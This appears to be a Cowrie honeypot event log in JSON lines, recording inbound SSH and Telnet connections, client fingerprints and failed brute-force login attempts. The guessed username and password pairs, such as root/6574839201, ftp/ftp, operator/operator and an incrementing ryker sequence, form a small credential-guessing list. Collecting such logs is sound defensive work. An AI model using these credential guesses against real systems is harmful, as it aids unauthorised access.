{"eventid":"cowrie.session.connect","src_ip":"13.58.198.185","src_port":58136,"dst_ip":"159.203.135.109","dst_port":23,"session":"44a4bd5ab509","protocol":"telnet","message":"New connection: 13.58.198.185:58136 (159.203.135.109:23) [session: 44a4bd5ab509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:28.657366Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.3.76","src_port":44192,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a1e367046ae","protocol":"ssh","message":"New connection: 27.79.3.76:44192 (159.203.135.109:22) [session: 6a1e367046ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:29.877517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:29.882689Z","src_ip":"27.79.3.76","session":"6a1e367046ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:31.579553Z","src_ip":"27.79.3.76","session":"6a1e367046ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.022796869277954,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:38.680050Z","src_ip":"13.58.198.185","session":"44a4bd5ab509","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":4814,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc873d9554e8","protocol":"ssh","message":"New connection: 38.93.206.2:4814 (159.203.135.109:22) [session: bc873d9554e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:44.321634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:44.327345Z","src_ip":"38.93.206.2","session":"bc873d9554e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:44.379418Z","src_ip":"38.93.206.2","session":"bc873d9554e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6574839201","message":"login attempt [root/6574839201] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:44.540831Z","src_ip":"38.93.206.2","session":"bc873d9554e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:45.605732Z","src_ip":"38.93.206.2","session":"bc873d9554e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:47.488777Z","src_ip":"27.79.3.76","session":"6a1e367046ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":46146,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ec11827b371","protocol":"ssh","message":"New connection: 62.133.63.178:46146 (159.203.135.109:22) [session: 3ec11827b371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:53.089132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:53.094549Z","src_ip":"62.133.63.178","session":"3ec11827b371","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:53.218939Z","src_ip":"62.133.63.178","session":"3ec11827b371","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fhifdby","message":"login attempt [root/fhifdby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:53.593833Z","src_ip":"62.133.63.178","session":"3ec11827b371","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.3.76","src_port":37030,"dst_ip":"159.203.135.109","dst_port":22,"session":"f11bd63d52ae","protocol":"ssh","message":"New connection: 27.79.3.76:37030 (159.203.135.109:22) [session: f11bd63d52ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:53.941364Z"}
{"eventid":"cowrie.session.closed","duration":"24.4","message":"Connection lost after 24.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:54.284487Z","src_ip":"27.79.3.76","session":"6a1e367046ae","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:54.556209Z","src_ip":"27.79.3.76","session":"f11bd63d52ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:54.719994Z","src_ip":"62.133.63.178","session":"3ec11827b371","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:54.804895Z","src_ip":"27.79.3.76","session":"f11bd63d52ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:39:04.123855Z","src_ip":"27.79.3.76","session":"f11bd63d52ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.3","message":"Connection lost after 14.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:39:08.219355Z","src_ip":"27.79.3.76","session":"f11bd63d52ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":31858,"dst_ip":"159.203.135.109","dst_port":22,"session":"930fedcb1d77","protocol":"ssh","message":"New connection: 213.209.159.56:31858 (159.203.135.109:22) [session: 930fedcb1d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:40:11.786650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:40:12.534382Z","src_ip":"213.209.159.56","session":"930fedcb1d77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:40:12.614917Z","src_ip":"213.209.159.56","session":"930fedcb1d77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ryker","password":"ryker","message":"login attempt [ryker/ryker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:40:13.658627Z","src_ip":"213.209.159.56","session":"930fedcb1d77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ryker","password":"ryker1","message":"login attempt [ryker/ryker1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:40:16.305773Z","src_ip":"213.209.159.56","session":"930fedcb1d77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ryker","password":"ryker123","message":"login attempt [ryker/ryker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:40:17.393086Z","src_ip":"213.209.159.56","session":"930fedcb1d77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ryker","password":"ryker1234","message":"login attempt [ryker/ryker1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:40:18.482655Z","src_ip":"213.209.159.56","session":"930fedcb1d77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ryker","password":"ryker12345","message":"login attempt [ryker/ryker12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:40:19.570969Z","src_ip":"213.209.159.56","session":"930fedcb1d77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:40:20.660718Z","src_ip":"213.209.159.56","session":"930fedcb1d77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":46642,"dst_ip":"159.203.135.109","dst_port":22,"session":"59725989750e","protocol":"ssh","message":"New connection: 103.77.175.15:46642 (159.203.135.109:22) [session: 59725989750e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:40:37.371739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:40:37.376884Z","src_ip":"103.77.175.15","session":"59725989750e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:40:37.632825Z","src_ip":"103.77.175.15","session":"59725989750e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:40:38.401247Z","src_ip":"103.77.175.15","session":"59725989750e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:40:39.656499Z","src_ip":"103.77.175.15","session":"59725989750e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.53.55.148","src_port":12430,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7d09e3b6b1c","protocol":"telnet","message":"New connection: 92.53.55.148:12430 (10.17.0.5:23) [session: f7d09e3b6b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:04.749383Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":47706,"dst_ip":"159.203.135.109","dst_port":22,"session":"36be3ac23ad9","protocol":"ssh","message":"New connection: 103.77.242.62:47706 (159.203.135.109:22) [session: 36be3ac23ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:08.879508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:08.882610Z","src_ip":"103.77.242.62","session":"36be3ac23ad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:41:09.129565Z","src_ip":"103.77.242.62","session":"36be3ac23ad9","protocol":"ssh"}
